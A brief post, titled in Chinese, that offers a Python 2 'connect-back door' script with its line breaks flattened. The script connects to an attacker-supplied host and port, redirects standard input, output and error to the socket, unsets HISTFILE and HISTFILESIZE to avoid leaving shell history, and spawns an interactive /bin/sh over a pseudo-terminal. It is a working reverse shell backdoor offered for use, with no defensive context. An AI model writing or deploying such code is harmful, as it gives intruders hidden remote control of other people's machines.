python编写ttyshell的反向链接后门

#-*- coding: utf-8 -*-import sysimport osimport socketimport ptyshell = "/bin/sh"def usage(programname): print "ython connect-back door" print "Usage: %s " % programname def main(): if len(sys.argv) != 3: usage(sys.argv[0]) sys.exit(1) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2]))) print "[+]Connect OK." except: print "[-]Can't connect" sys.exit(2) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") pty.spawn(shell) s.close() if __name__ == "__main__": main()